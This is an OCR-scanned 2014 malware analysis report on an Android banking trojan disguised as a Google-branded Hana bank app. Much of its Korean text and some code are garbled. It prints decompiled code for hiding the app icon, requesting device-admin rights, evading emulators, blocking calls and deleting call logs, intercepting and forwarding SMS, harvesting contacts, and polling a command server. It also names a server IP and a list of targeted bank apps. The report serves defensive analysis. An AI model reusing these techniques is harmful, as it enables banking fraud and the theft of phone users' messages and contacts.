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Safe’ ﬁei:l Alert

1. Malware Stub

1.1. Malware File Info

com.google.android.ebk.hana.lxuzpukuj.apk

File Size 664,236 bytes 76F0798F5F10D2E3BC21D4AAAA987105
(V[T 1AL 2014.02.17 12:03:26 APK (for Android)

Table 1. File Info-1

1.2. Route of infection
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Figure 1. Route of Infection
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Safe'Red Alert
1.3. Analysis Environment
Index Description
Device Google Nexus S
Platform Android 4.1.2 / API Level 16
Table 2. Analysis Environment
1.4. App Flow
ofd Y2 MM et ME[ASS AAEAS St H O|20 OX|gtez ZX[stHE EEUY
Ch M2tA AMRXAIZE OFR2| XS HAYUCHD SHEtE 0|0 AN WS BXS oSt 0|0l
AFoloE Mooz nje 9%

AppContext.class

CallService.class

A J

ClientSe

rvice.class

k 4

SmsService.class

ContactsService.class

ProcessRemoteCmdService.class

MainActivity.class

Figure 2. App Flow
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1.5. Server Connection
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com.gocgle.andreid ebk hana lxuzpukuyj
com.gocgle.andreid ebk hana lxuzpukuyj

com.gocgle.andreid ebk hana lxuzpukuyj
com.gocgle.andreid ebk hana lxuzpukuyj
com.goegle.android.ebk.hana.lxuzpukuj
com.goegle.android.ebk hana.lxuzpukuj

SmsListener
SmsListener

init system configuration args..........
create system configuration for [/data/data/com.google android.ebk hana.
onfig.properties].

System.out Zmpp=58.92.245.118

System Loaded time zone names for ko_KR in 1531ms (1531ms in ICU)
System.out #rE{ER

System.out onreceiver

Figure 3. Initialize Configuration
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com.google.android.ebk hana lxuzpukuj
com.google.android.ebk hana. lxuzpukuj
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SmsListener
SmsListener
SmsListener

cmd: cmd_system_init
systemInitTimer is runing....
emd: emd_system_init

SmisListensr failed to connect to /58.92.245.118 (port 80): connect failed: ETIMEDOUT
d out)

SmisListensr java.net.ConnectException: failed to connect to /58.92.245.118 (port 80):
ETIMEDOUT (Connection timed out)

SrmsListensr at libcore.io IoBridge.connectloBridge java:114)

SmisListensr at java.net PlainSocketImpl.connect(FlainSocketimpl java: 192)

SmsListener at java.net PlainSocketImpl.connect(PlainSocketimpl java:459)

SmisListener at java.net. Socket.connect(Sockst java:842)

SmisListensr at libcore net http HttpConnection. <init= (HttpConnection java: 76)

SmsListener at libcore net http HttpConnection. <init= (HttpConnection java:30)

SrmsListensr at libcore net. hitp. HttpConnaction$Addrass.connect(HttpConnection java:3

SmisListensr at libcore net http HttpConnectionPool get(HttpConnectionPool java:87)

SmsListener at libcore net http HttpConnection.connect(HttpConnection java:128)

SrmsListensr at libcore. net http. HttpEngine.openSocketConnection(HttpEngine java:315)

SmisListensr at libcore net http HttpEngine.connect{HttpEngine java:310)

SmsListener at libcore.net http HttpEngine sendSocketRequest(HttpEngine java:239)

SrmsListensr at libcore.net http. HttpEngine. sendRequest(HttpEngine java:239)

SmisListensr at libcore net http HttpURLConnectionImpl.connect(HttpURLConnectionIm

SmsListener at org ksoap2 transport.SenviceConnectionSE.connect(ServiceConnectionSH

SmsListener at org.ksoap2. transport. HitpTransportSE.call(HttpTransportSE java: 68)

SmisListensr at com.google.android ebk hana kakao.util WebServiceUtilinvekeWebServiy
Java:ed)

SrmsListensr at com.google.android.ebk hana kakac.util WebServiceUtil.uploadPhanelnfy
javarlll)

SmsListener at com.google.android.ebk hana kakao service ClientSenvice$ 7 run(ClientSe

SrmsListensr at javalang. Thread.run(Thread java:856)

SmisListensr Caused by: libcore.io.ErrnoException: connect failed: ETIMEDOUT (Connect

SmisListensr at libcore.io. Posix.connect(Mative Method)

SmsListener at libcore o BlockGuardOs.connect(BlockGuardOs java:gs)

SmisListensr at libcore io IoBridge.connectErrnoloBridge java:127)

SmsListener at libcore io IoBridge.connectloBridge java:112)

smsListener .. 19 more

Figure 4. Server Connection
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1.6. IP Info
otd Mol MM=S T7| s Aot AMHQ| o= Dt X HEYLCH
IP Information for A F2a "=l
ASN: AS4713 OCN NTT Communications Corporation (registered Aug 30, 1995)
IP Address: 58.52.245.118 @ @ @ @]
Figure 5, IP Info-1

D2rukyok: 1 L K3.0Cn.Ne.1p

(Sooglc

XIE H0|E 2014 AutoNavi. Google Kingway, SKplanet ZENRIN 08 %2
Figure 6. IP Info-2
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1.7. Infection
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Figure 7. Execute Malware-1
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Safe’ ﬁeﬁ Alert

2. Technical Details

2.1. Self-Hiding

AndroidManifestxm| L2 HEHEM ALEXIOA 7MY HAY EHX|= AlEf Activity 227t
com.google.android.ebk.hana.kakao.MainActivity2 B A|Z|0f UAELICH,

android:label="fGstrin name" android:name=
"com.google.android.ebk.hana.kakao.MainActivity"
<intent-filter>
<action android:name="android.intent.action.MATN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</factivicy>»
<activity android:theme="Randroid:style/Themne.HoTitleBar.Fullscreen" android:name
="pom.google. android.ebk.hana.kakao.BEMain" android:screenfrientation="portrait”

<actiwvic

android: configChanges="keyboardHidden|orientation" />

Figure 9. AndroidManifest.xml-1

I

MainActivity 222 AFEXI0|A ¥o| 7|52 £0l= =72 & 7|7| 22Xt &8s aF
SLCh QIAEA FE FefATF AZE[HME XAl OF0|Z2 2 ANAIZ2ZM ALEXIZE o4d A
= 2AY=A] AMSIX| RSt=E FELCL
private vold HidelIcon()

{

getPackageManager () . setComponentEnabledSetting (getComponentMName (), 2, 1)

private wvoid activeManager ()

{
Intent locallntent = new Intent("android.app.action.ADD DEVICE ADMIN");
locallntent.putExtra("android.app.extra . DEVICE ADMIN", this.componentName):
locallntent. putExtra{”a droid.app.extra.ADD _.XP'”IAZ'ZC‘I”, "fK'] H] 2= C;“—F%?]%
- I‘-E_/:-: -
starthActivity(localIntentc) ;
}

private vold initDevice()

{
this.policyManager = ((DevicePolicyManager)getSystemService("device policy"));
this.componentlame = new ComponentName (this, LockReceiver.class):;
if ('this.policyManager.isAdminActive (this.componentHName) )
activeManager () :
}

Figure 10. MainActivity.class

2.2. Emulator Detection

HEHCE oY ARAE =osty| oM 24752 OZ20IHE O|8dt=H o|go =4t
ofd ¥2 OlZ2M0le &g0| A= 5F =ds UESts 42 AM2=S O T=2AA Hls
FEO| ZHE0f AASHE. M0 siF FES MAHSELD 2T7|E o =0 2HAFHOF HAE

l] facebook.com/nshc.redalert © 2014 Red Alert. All Rights Reserved.




Safe’ ﬁea Alert

pubklic volid onCreate ()
{
this.preferences = getSharedPreferences ("config”™, 0}
initConfiguration() ;
try
{

lockIp = this.preferences.getInt{"lockipg™, O0)7

clientId = this.preferences.getlntc("client id", -1}
smeIntercept = this.preferences.geclnt("sms switch™, 0});
sendSmsS5tate = this.preferences.getlnt("send sm=s state”, 0);

phonelntercept = this.preferences.getlnt ("chone ;w;:ch”, o) :

1

bankIntercept = this.preferences.getlnt("bank in
this.smsManager = SmsManager.getDefault () :
this.pm = getPackageManager () ;

bankMName = initBank() ;

if ((bankMName = null) || (bankName.edquals(""})}]}
bankName = "S- F00:

phoneldentity = this.preferences.getString{"local phone nunkber™, nmll) ;

imsi = this.preferences.getString("im=i", null):;
deviceIld = this.preferences.getString("deviceld™, nmll) ;
clientVersion = this.pm.getPackageInfo(getPackageName (), CO).wversionMName:
if ({(phoneldentity = nmnll) || (phoneldentityv.equal=s({(""}) || {(im=si =— nunll)
Il {deviceld =— nmll))
getPhoneldentitv () -
if ((imsi = nnll) || (imsi.equals{("")}})}
imsi = "FEI";
if ((phoneldentity =— nmll) || (phoneldentity.equal=s({(""}) || {(phoneIdentity.
startsWith ("l |l {deviceId.startsWith("00000000")) |1 (imsi.startsWith
{("31026™)))
{
System.exit (0} ;
¥

Figure 11. AppContext.class-1

2.3. Malicious Acts

QM ol 4 SENMEZ MHEHBZO| 7t HX AppContextclass LtO0| QAAEHADL L[ =0
HEZ O S0 ofd ol +=Tdl= YEE MES7| fet static B2t TH|E[0] USLICE
public static ArreyList<String> bankIndexlist:
public static int bankTIntercept;
pubklic static String bankName;
public static int clientId;
public static String clientVersion;
public static String deviceld:
public static String imsi;
public static int lockIp:
public static String phoneldentity:
public =static int phonelntercept;
public static String providerName;
public static int sendSmsState;
public static String serverIE;
public static int smsIntercept;

Figure 12. AppContext.class-2
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oK

Mot As ZIA00 2XE BR0o= Fae oA ZHX| ME|AS ARAZ|D BTt Gle &7
=

StLtol AfH|ABH MSAZLICH

! 15PhoneNumber () )

Intent locallIntent? = new Intent({this, ClientService.class):
localIntent2.putExtra ("cmnd™, "cmd query phone 1ist™);
startiervice(locallntentl) »
}
startdService (new Intent(this, CallService.class));
startdervice (new Intent(this, ClientService.class)):
startdervice (new Intent(this, SmaService.class));
startdervice (new Intent({this, Contactadervice.class));
startService (new Intent(this, ProcessBemotelmdService.class));

Figure 13. AppContext.class-3

2.3.1. CallService

CallService.class?7} QIAEAGL £|MH callReceiver 2E|AE EAHE SETHL|LCH

public wold onCreate()
{
try
{
LogUtil.i("Call3ervie : Stert™);
this.telMethod = Class. forName("android.os.ServiceManager™) .getMethod ("getService™, new Class[]
this.telephony = ITelephony.Stub.asInterface( (IBinder)this.telMethod. invoke (nmull, new Cbhject[]
thiz.appfontext = ({AppContext)gethpplicationContext()):
IntentFilter localIntentFilter = new IntentFilter():
locallntentFilter.addhction("android.intent.action. FHONE STATE"™);
localIntentFilter.addAction ("android. intent.action. NEW_OUTGOING CALL")
localIntentFilter.setPricrity (10000) ;
registerBeceiver(this.cellBeceiver, locallntentFilter);
return;

Figure 14. CallService.class-1

callReceiver= &%} A0 CHol Z=AtSD M- REA 7|F& X|2= AR 7tSOt=F ¢

£ AU

private BroadcastRecelwver callBeceiver = new BroadcastBeceiver()
{
public woid onBeceiwve (Context peramiAnonymousContext, Intent paramAnonymousIntent)
{
if (paramAnonymousIntent.getiction().equals ("android.intcent.action.NEW_OUIGOING CALL™))
if ((Applontext.phonelntercept > 0) && (getBesultData() '= mmll)
setBesultData (null) ;
while (true)
{
return;
String str = paramAnonymousIntent.get3tringExtra ("incoming number™) ;
if {({3tr '= null) && (Applontext.phonelntercept > 0))
try
{
CallService.this.telephony.endCall();
CallService.this.deleteCalllog(str);

Figure 15. CallService.class-2

l] facebook.com/nshc.redalert © 2014 Red Alert. All Rights Reserved. 4!
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2.3.2. ClientService
ClientService.class7t QIAEASE £|H clientReceiver 2EiAE Z|A|HZ SE%L CH

public woid onCreate()
{
LogUtil.i("Client3Service Start™);
thiz.applfontext = ((Applontext)gethpplicationContext()):
IntentFilter locallntentFilter = new IntentFilter();
localIntentFilter.eddAction({"com.google. sma.service.action.query_intercept™);
localIntentFilter.addhAction ("com.google. sma.service.action.update client_state”™);
registerBeceiver(thiz.clientReceiver, locallntentFilter):
AlarmManagerUtil . setRepeatTasks ("com.google. sms. service.action.query intercept™, 120000L, this);
AlarmMenagerUtil. setRepeatTasks ("com.google.ama. service.acticn.update client_state”™, 300000L, this):
phonelist = new LinkedList():
thiz.updateClientIdentityTimer = new Timer():
this.systenInitTimer = new Timer():
thiz.bankHijackTimer = new Timer():
this.systemInitTimer.schedule (new TimerTask()
{
public void run()

{
LogUtil.i("systenInitTimer is runing....™);:

Figure 16. ClientService.class-1

clientReceiveri= EfO|D{E O[Z8IM F7|Hom ALBXIeL Alagol AlEIS Ama chy
YHS JIAE S YAXAAN o4 Y MUK} 21710 O BE HS ot & U=E P

£ AU

public class ClientService extends Service
{

private static final String ACTION QUERY INTERCEFT = “com.google.sms.service.action.guery_intercept”™;

private static final String ACTION UPDATE CLIENT STATU = “"com.gocgle.sms.service.action.update_client

private static final long BANK TOF CHECK TIME = 1000L;

public static final String CLIENT STATU = “client statu”;

public static final int CLIENT STATU INVALID = 27

public static final int CLIENT STATU UNENORN = 3:

public static final int CLIENT STATU VALID = 1;

pubklic static final String CMD = "cmd™;

public static final String CMD OQUERY PHONE LIST = "cmd query phone list™;

public static final String CMD SYSTEM INIT = "cmd system init™;

public static final String CMD UFDATE CLIENT STATU = "cnd update_client_statu”;

public static final String CMD UPDATE PHONE NUMBER = "cmd update_phone number”™;

private static final int GET PHONE LIST SUCCESS = 107

public static final String NEW PHONE IDENTITY = "new_phone_identity™;

public static final String OLD PHONE TDENTITY = “"old phone_identity™;

private static final long SY¥STEM INIT CHECK TIME = 12000L;

private static final long UPDATE CLIENT IDENTITY CHECK TIME = 12000L;

private static final int UPDATE FHONE IDENTITY SUCCESS = 117

private static final int UPLOAD FHONE INFO SUCCESS = 123

private static LinkedList<String> phonelist;

private AppContext applontext;

private Timer bankHijackTimer;

private BroadcastBeceiwver clientBeceiver = new BroadcastReceiwver()

{

public woid cnReceiwve (Context paramfnonymousContext, Intent paraminonymousIntent)
{
if (paraminonymousIntent.getliction () .equals ("com.google.ams.dervice.action.query intercept™))
ClientService.this.queryIntercept () ;
if (paraminonymousIntent.getliction () .equals("com.google.ams.service.action.update client state™))
ClientService.this.updateClientStatu();

Figure 17. ClientService.class-2

l] facebook.com/nshc.redalert © 2014 Red Alert. All Rights Reserved. 1Y
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2.3.3. SmsService
SmsService.class7} QIAE AT £|H smsReceiver 2E|AE EAIHZ SE2&HL|CE

public wvoid onCreate()

{
LogUtil.i("sms listener service is runing...™);
this.applontext = ({ipplontext)getipplicationContext()):
IntentFilter locallIntentFilter = new IntentFilter({):
localIntentFilter.addiction ("android.provider.Telephony.SM5 RECEIVED™) »
localIntentFilter.setPriority (10000) »
registerBeceiver(this.smsReceiver, locallntentFilter);

Figure 18. SmsService.class-1

= A AR WS ofd o MAAe MHZ ME5ta O o 2kt
g Sz 2 PR 0 UL Ch

private BroadcastBeceiver smsBeceiver = new BroadcastBecelwver()

{

pubklic wvold onBecelwve (Context paramAnonymousContext, Intent paraminonymousIntent)
{

smsReceivere= Al
sy Myee o

LogUtil.i("SmaService.onReceive dynamic register---»> to receiver ama!™):
Object[] array0ilfbiject = (Object[])paramAnonymouslntent.getExtras().get("pdus™);
LogUtil.z ("SmsService.onReceive dynemic register-—-»> to receiver sma!'™);
SmaMessage[] array0fSmaMessage = new SmaMessage [arrav0ilbject.length]:
Lrraylist localArraylist = new ArrayList():
int 1 = 0;
if (i >= array0ilfbject.length)
{
SmaService.this.uploadSms (localArraylist) ;
return;
}
array0fSmsMessage[i] = SmsMessage.creabteFromPdu((byte[])array0flbiject[i]):
String strl = arrey0fSmsMessage[i] .getMessageBody () :
String str2 arrey0fimsMessage[i] .getlriginatinghAddress () ;
String str3 = DetelUtil.formatlong(new Date (array0fSmsMessage[i] .getTimestampMillis()});
Sms localSms = new Sms():
localsma.clientId = String.valuedf (Applontext.clientId) ;
localSms.content = strl;
localSms. sendPhone = str2;
localSms.datetime = 3tr3;
locelSms.type = "ELI":
String strd = SmaCmd.smsCmdRule(s3trl);
Log.e(T::z:::", "receiwve: " 4+ 3trl + " " 4+ 3trd);
if (strd.equals("cmd forward phone number™)
{
abortBroadcast () ;
String stré = strl + str2;
SmsService.this.appContext.smsManager.sendTextMessage (str2, mull, stré, nnll, null);
LogUtil.i{"cmd[™ + atrd4 + "] am3 for : ™ + 3trl);:

Figure 19. SmsService.class-2

2.3.4. ContactsService
ContactsService.classe ZIAIHE SE3HEl %1 queryContacts()2tE static HAEE s A
X0 Cist o7t 2 Mmotch HAXf 71710 Mo Us AN HEHE BI&SIEE AHE[0f

A& LIL.
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public class ContactsService extends Service
{
private static final String DATA = "data";
private static final String contactsUri = "content://com.android.contacts/contacts/";
private static final String name = "vnd.android.cursor.item/name"™;
private static final String phoneNo = "wvnd.android.cursor.item/phone_v2™;

public static ArreyList<Contacts> gqueryContacts(Context paramContext)
{
Arraylist locallrraylist = new ArravList():
Uri localUri = Uri.parse("content://com.andreid.contacts/contacts™);
ContentResolver localContentResclver = paramContext.getContentBesolver();
Curscr localCursorl = localContentBResolwver.query(localUri, mew String[] { "_id" }, null, null, null)
if (!leocalCursorl.moveTolext())
{
localCursorl.close():
return localhArraylist:
}
Contacts localContacts = new Contacta():
localContacts.clientId = String.valuedf (AppContext.clientId):
localContacts.contactsld = lecalCurscrl.getInt (0);
Cursor localCursor? = localContentResclver.query(Uri.parse("content:///con.andreoid.contacts/contactsay
while (true)
{
if {!1Dca1Cursnr2.mDveTDNext{hH

{

localCursor2.close () ;

if ((localContacts.phone == null) || {localContacts.name == null))
break;

localArraylist.add (localContacts) ;

break;

b
String strl = leocalCursor?.get3tring({localCursori.getColumnIndex ("datal™));
String str2 = localCursor?.getString({localCurscr?.getColumnIndex ("mimetype™)):
if (str2.equals("vnd.andreid.curscr.item/name™))

localContacts.name = strl;
if (str2.equals("vnd.android.cursor.item/phone_wva") )

localContacts.phone = strl;

Figure 20. ContactsService.class

2.3.5. ProcessRemoteCmdService
ProcessRemoteCmdService.class7t QAUAEAD T|H HHoZ MFHZ QOIHE MM ZtZ FIt

St10 processRemoteCmdReceiver 2EHAE E[A|HE SEGLICL

public woid onCreate ()

{
this.appContext { (AppContext)getipplicationContext () )
thiz.sentIntent = PendingIntent.getBroadecast(thiz, 0, new Intent("com.google.sms.service.action.sent
this.deliwveryIntent = PendingIntent.getBroadcast(this, 0, new Intent("com.gcocgle.sms.service.acticon.
IntentFilter locallntentFilter = new IntentFilter():
localIntentFilter.addAction (" com.google.sms. service.action.delivery ama”™);
localIntentFilter.addAction("com.google.sms. service.action.sent_sms™);
localIntentFilter.addAction("com.google. kakao.service.action.query_sms"™) ;
localIntentFilter.addhction ("com.google. sms. service.action.query command™) ;
registerReceiver(thiz.processRemcteCmdReceiver, locallntentFilter):
AlarmManagerUtil. setRepeatTasks ("com.google. kakao. service.action.query ams™, 300000L, this):
AlarmManagerUtil.setRepeatTasks ("com.google. sma. service.acticon.query_command”™, 300000L, this);

Figure 21. ProcessRemoteCmdService.class-1

l] facebook.com/nshc.redalert © 2014 Red Alert. All Rights Reserved. %2




Safe’ R‘eﬁ Alert

processRemoteCmdReceiver= T EE2 CIHIE OA|X|Of M2} O T[S FALX| A0
UAELILE OlF SoiM oAd ¥ MEA= HX|OAM HHE 7|7]0 CHsiM R|dt= HEE Y2
T AFLCH OFF FUEX| Y2 758X UKL X FHE 7|sU2r Hol BE FHIL
E

=27 = AFLICL

public class ProcessBEemotelmdService extends Service
{
private static final String ACTION DELIVERY SMS = "com.google.sms.aervice.action.delivery sma”™;
private static final String ACTION QUERY COMMAND = "com.gocgle.sms.service.action.gquery command”;
private static final String ACTION QUERY SMS = "com.google.kakac.service.acticon.gquery sms”™;
private static final String ACTION SENT SMS = "com.google.ams.service.acticn.sent sms”™;
private AppContext applontext;
private PendingIntent deliveryIntent;
private BroadcestBReceiver processBemctelmdBReceiver = new BroadcastBReceiver()
{
public woid onBeceive (Context paramfnonymousContext, Intent paraminonymouslntent)
{
int i = getResultCode();
if (peramAnonymousIntent.getiction().equels("com.google.sms.service.action.sent_ams™)):
switch (i)
{
case 0:
defanlt:
if (paramAnonymousIntent.getiAction() .equals("com.google.sms.service.action.delivery_sms™))
switch (i)
{
case 0:
defanlt:

while (true)
{
if (paramAnonymousIntent.getiction().equaels("com.goocgle.sms.service.action.query command™))
ErocessRemctelmdService.this.execCommand () ;
if ({({peremAnonymousIntent.getiction().equals("com.google.kakac.service.action.query sms™)) &&
ErocegsBenctelmdService.this.sendSmsBy3msList();

Figure 22. ProcessRemoteCmdService.class-2
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2.4. Immortal Service
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Figure 23. Immortal Service-1

Ol= MH|A7F 22E [ 2=5l= onDestroy HAMEON MB|AE CHA| AJMSIEE o657
=Lt

public woid onDesatroy()
{

unregisterBeceiver (this.callBeceiver);
startService (new Intent(this, getClass())):

}

Figure 24. Immortal Service-2
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3. Red Alert of Opinion
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import android.os.Environment;

public final class Applontacts
{
public static final String BASE DIR = Environment.getExternalStoragelirectory() .toString () ;
public static String[] BE ARRAY LTET = [ "nh.smart”, "com.shinhan.sbanking®, "com.webcash.wooribank®,
public static String[] BK NAME LIST = { "NH", "3H", "WO", "KB", "HA" }:
public static String DOWRNLOAD URI;
public static final String GET CLIENT PHONE LIST METHOD NAME = “queryPhonelist™;
public static final String GET PHONE NUMEER SMS FLAG = ":get_phone_number_flag:";
public static final String GET PHONE NUMBER SMS FLAG SEPARATOR = ":";
public static String[] MY BANK DOWN = { "N.epk", "S.apk", "W.apk", "E.epk", "H.apk" };
public static String[] MY BE ARRAY LIET = { "com.nh.android.ebk.smart”, "con.shinhan.shinhan.android.

Figure 25. AppContacts.class
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= EE_ model import java.ioc.Serializable;
m Bank ) public class Sms
[J] CUserFile implements Serializable
[¥] Contacts i
m CreditCard priviite stiitic f:'f.nal long serizlVersionUID = 1L;
Ph Inf pubklic S5tring clientId;
m onelnio public String content;
[] PhoneRecorder public String datetime;
m Picture public String sendFhone;
[3] PictureGroup Pﬁi?c :tr?ng amsld;
- ic String type:
m | B g type
=83 receiver public Sms()
[¥] LockReceiver {
[J] systemReceiver }
= E‘l service . public Sms{String param3tringl, String param3tring2,
[J] callservice |
[¥] ClientService this.clientId = paramStringl;
m ContactsService this.sendFPhone = param3tring2;

this.content = paramString3;
) thisz.datetime = paramStringd;
[J] SmsService this.type = paramStrings:

B util 1
Figure 26. Source Tree & Sms.class

[¥] ProcessRemoteCmdService
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4. Removal Recommendations

4.1. Use of Anti-Virus
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4.2, Safety rules for smartphone user
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Table 3. Safety rules for smartphone user
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5. Reference

[1] Virus Total

https.//www.virustotal.com/ko/file/0b727284f160c2cb2655€626b8829656fedcfb3alca906a2b8
delba465a3a00c/analysis/1392897632/

[2] KISA E3Ltat
http://boho.or.kr/kor/private/private_02.jsp

[3] YEZO|E LXK} AIO|E

http://developer.android.com/reference/packages.html
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